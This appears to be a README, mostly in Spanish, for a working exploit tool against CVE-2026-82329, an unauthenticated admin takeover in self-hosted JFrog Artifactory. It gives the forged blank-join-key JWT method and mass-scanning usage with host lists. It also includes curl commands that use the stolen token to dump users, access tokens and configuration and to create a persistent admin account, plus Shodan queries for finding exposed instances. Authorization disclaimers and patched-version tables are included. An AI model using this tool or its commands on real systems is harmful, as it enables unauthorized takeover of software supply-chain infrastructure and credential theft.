
Exploit para CVE-2026-82329, una omisión de autenticación no autenticada en JFrog Artifactory autoalojado, que permite la toma de control del token de administrador mediante una clave de unión en blanco.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.
CVSS 9.8 · CWE-287 · CISA KEV · explotado activamente.
Solo pruebas autorizadas. No ejecutes esto contra sistemas que no sean tuyos o para los que no tengas permiso por escrito.
Las instalaciones self-hosted por defecto confían en una join key en blanco.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
JFrog cloud está parcheado. Solo self-hosted.
Línea de acceso parcheada: 7.191.14.
# solo stdlib — sin pip
python3 artifactory.py -h
La verificación TLS está desactivada por defecto (Artifactory con certificado autofirmado es normal).
Sin flag adicional.
# host único
python3 artifactory.py -u https://artifactory.example.internal:8082
# imprimir token admin generado
python3 artifactory.py -u https://TARGET:8082 --token
# lista / pipeline (estilo httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Solo Pro / Enterprise — persistir un admin local (destructivo)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (parcheado / sin key en blanco)
[FAIL] https://dead:8082 inalcanzable
| Etiqueta |
|---|
--token imprime el valor Bearer. Eso es la toma de control — un usuario de login es opcional.
--create-admin a menudo devuelve 400 en OSS (PUT /artifactory/api/security/users es de Pro).
El token admin sigue funcionando. La persistencia no es necesaria para un hallazgo válido.
Reemplaza TARGET y pega el token de --token.
TOKEN='eyJ...' # salida de --token
B='https://TARGET:8082'
# versión / edición
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# directorio de usuarios (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# todos los access tokens de la instancia
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# inventario de repositorios
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Otras lecturas útiles solo-admin (no escribir salvo autorización):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Platform → iniciar sesión con Access Token, o enviar
Authorization: Bearer <token> en cada petición.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Política de contraseñas 400 ≠ no vulnerable. El token ya tiene aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# puertos comunes
8081 8082 8040 8046 443
La herramienta elimina /artifactory /ui /webapp de -u y habla con el router Access en el mismo origen.
--create-admin no es el hallazgoReporta el impacto como: token de administrador de plataforma sin autenticación.
La creación de usuarios es un paso posterior, no el problema raíz.
Este repositorio es un validador para sistemas que estás autorizado a probar.
Generar tokens, listar usuarios o crear cuentas en infraestructura de terceros sin permiso es ilegal.
Parche: actualiza a la build corregida de tu rama, configura una join key real y rota los tokens generados tras la divulgación.
mitsec · @ynsmroztas
| Paso | Petición | Resultado |
|---|
| 1 | Forjar join JWT HS256 (iat reciente, skip_node_registration=true) | secreto HMAC conocido |
| 2 | POST /access/api/v1/registry/join | 201 token SERVICE scp=admin |
| 3 | POST /access/api/v1/tokens | 200 token admin scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | prueba solo-admin (sin auth = 401) |
| Rama | Vulnerable ≤ | Parcheada |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
| Significado |
|---|
VULN | Join en blanco aceptado + prueba de admin (configuration o lista de tokens = 200) |
SAFE | Join rechazado — parcheado, join keys adicionales configuradas, o no es Access |
INFO | Join generado, endpoints de prueba no devuelven 200 — inspeccionar manualmente |
FAIL | Red / timeout |
| Superficie | OSS | Pro / Enterprise |
|---|
| Generar token de acceso admin | sí | sí |
| Leer config / listar tokens / repos | sí | sí |
PUT /artifactory/api/security/users | 400 solo-Pro | 200/201 |
POST /access/api/v2/users | depende de versión / política | 201 |